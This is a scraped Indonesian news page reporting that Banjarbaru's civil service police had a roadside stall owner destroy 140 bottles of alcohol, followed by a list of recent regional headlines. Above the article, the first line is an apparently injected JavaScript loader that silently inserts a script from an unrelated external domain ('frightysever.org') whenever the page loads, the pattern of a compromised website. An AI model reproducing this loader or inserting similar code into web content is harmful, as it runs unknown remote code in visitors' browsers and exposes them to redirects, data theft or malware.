(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pemilik Warung Musnahkan Sendiri Ratusan Botol Alkohol


BANJARBARU, Sebanyak 140 botol berisi cairan alkohol dimusnahkan Satpol PP Kota Banjarbaru, Senin (4/11) siang. Pemusnahan langsung dilakukan oleh pemilik ratusan alkohol tersebut yakni GE (26) dengan cara dibuang cairannya lalu dibakar.

Kepala Satpol PP Kota Banjarbaru Marhain Rahman melalui PPNS Yanto Hidayat mengatakan, awal mula temuan botol alkohol ini saat pihaknya melakukan giat rutin cipta kondisi, pada Sabtu (2/11) malam.

Petugas yang sedang melakukan pemantauan di sejumlah lokasi rawan, menciduk sejumlah pemuda yang tengah mengkonsumsi minuman bercampur alkohol. Petugas pun kemudian melakukan pengembangan untuk mengetahui dari mana suplai alkohol tersebut.

“Setelah kita kembangkan, kami mengetahui bahwa alkohol tersebut didapat dari sebuah warung yang berlokasi di pinggir jalan A Yani Km 33, tepatnya di samping kantor pajak,” katanya.

Baca : Ratusan Botol Alkohol Diangkut Satpol PP Banjarbaru

Tidak membuang waktu, petugas kemudian langsung mendatangi lokasi warung tersebut. Benar saja, saat itu petugas mendapati ratusan botol alkohol yang diperjual belikan untuk disalahgunakan. Usai temuan itu, petugas kemudian mengangkut barang bukti botol alkohol tersebut untuk dimusnahkan.

“Sebenarnya pada malam itu, total yang kami temukan ada sebanyak 240 botol alkohol. Tapi khusus di warung itu ada 140 botol dan pada hari ini kita laksanakan pemusnahan. Untuk sisanya, kita masih menunggu pemilik lainnya,” lanjut Yanto.

Menurut GE, pasokan dus berisi botol alkohol ini dikirim dari Banjarmasin melalui ojek online. Pengiriman dilakukan secara rutin, satu minggu sekali. Penjualan alkohol ini telah dilakukan GE sejak 5-6 bulan terakhir. Untuk tarif per botol ukuran kecil dijual seharga Rp 20 ribu. Sedangkan botol yang besar seharga Rp 55 ribu.

Yanto menerangkan, GE telah berjanji tidak akan memperjual belikan botol alkohol tersebut. Hal itu tertera melalui surat pernyataan yang ditanda tanganinya. Jika nantinya GE kedapatan memperjual belikan botol alkohol tersebut, maka petugas tidak segan untuk melakukan proses hukum. 

“Selama beberapa waktu kedepan, kami berkerjasama dengan Polres Banjarbaru akan terus melakukan pemantauan warung tersebut,” lanjut Yanto.

Meski penindakan terhadap penyalahgunaan  alkohol terus dilakukan petugas Satpol PP Banjarbaru, rupanya sampai saat ini belum ada satupun payung hukum di kota Banjarbaru yang mengatur tentang peredaran alkohol ini.

Seperti halnya dalam kasus ini, dimana pemilik warung disangkakan UU kesehatan tentang penyalahgunaan alkohol. (rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

18 menit ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

12 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

12 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

13 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

14 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

14 jam ago

This website uses cookies.